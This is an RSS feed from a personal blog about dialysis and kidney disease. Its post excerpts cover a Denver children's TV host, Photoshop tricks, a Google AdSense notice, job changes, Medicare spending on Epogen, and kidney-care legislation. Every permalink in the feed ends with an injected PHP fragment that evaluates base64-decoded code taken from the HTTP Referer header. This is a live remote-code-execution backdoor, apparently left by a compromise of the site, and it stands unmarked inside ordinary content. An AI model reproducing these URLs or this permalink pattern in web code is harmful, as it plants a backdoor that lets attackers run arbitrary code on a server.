http://tollidee.com/journal My life with dialysis and kidney disease Mon, 26 Nov 2007 21:18:06 +0000 http://backend.userland.com/rss092 en Does anyone remember this character from the Fox Kid's Club here in Denver? Many of us started off our afternoons to his memorable voice - does anyone else remember? Keep the memory alive. http://tollidee.com/journal/2007/11/26/dizzy-al-a/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ Ok, so over at the iO Group, one of my colleagues (Anna) is in design school right now, and it turns out has quite a few tricks up her sleave. On Monday, she called Jay and I over to her desk and said "check this out." She proceeded to take ... http://tollidee.com/journal/2007/11/07/photoshop-tricks/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ Well - it seems my friend nathan was right ... Mere hours after receiving notice from him that Google would not like my blog post (as humorous as it was) I did in fact receive the exact same email he mentioned in his comment, insisting that I cease and desist ... http://tollidee.com/journal/2007/11/01/google-adsense-has-made-me-a-millionaire/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ After all this time - you're still still sitting there reading what I have to say?! Amazing.... I love the Inter-webs. So... After much deliberation and heartache, my life has taken about 42 amazing and thrilling turns since we last saw each other. I am no longer working at BrightStores - which ... http://tollidee.com/journal/2007/09/27/and-here-we-are/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ The time has come to pick up this dusty old cap, give it a good whack against my leg, and begin wearing it again. After being ravaged by spam, this place is overdue for an overhaul, and it begins now. Soon going to tollidee.com will simply bring you here, and this will ... http://tollidee.com/journal/2007/05/16/at-long-last/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ Well all, It's been awhile since I've posted --- BUT --- I have good reason (so don't get angry). I recently started a new job as a web designer, and find that I don't spend a lot of time with the upkeep of this site now. My intentions ... http://tollidee.com/journal/2006/11/01/homecoming/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ I'm watching an elderly gentleman right now try to pull his chest catheter out, and I am sorry he is here. I'm trying to decide if he's pulling to get off of the machine, or if he realizes that a hard enough tug will end all of this. I don't know this ... http://tollidee.com/journal/2006/09/22/better-days/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ Merrill Goozner Bio 09.14.2006 The Amgen Rip-off (6 comments ) READ MORE: 2006, Washington Post, George W. Bush Medicare spends more money on Amgen's Epogen than any other drug in its medicine chest -- $1.75 billion in 2005. Virtually all of it went to patients on dialysis. (The agency also pays ... http://tollidee.com/journal/2006/09/16/amgen-rip-off/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ Contact Your Local Representative: The Kidney Care Quality Improvement Act It takes less than two minutes. Medicare is not just for seniors, it's used by many people in different age groups and demographics - and for many it is their ... http://tollidee.com/journal/2006/09/08/the-kidney-care-quality-improvement-act/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ So some of you may know who Tom Martino is - he's a local "advocate" who stands up for the little guy. He has a radio show which I believe is syndicated nationally, and he spends a couple of hours taking calls from irresponsible people who've made bad decisions which he ... http://tollidee.com/journal/2006/09/06/tom-martino-is-a-fool/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/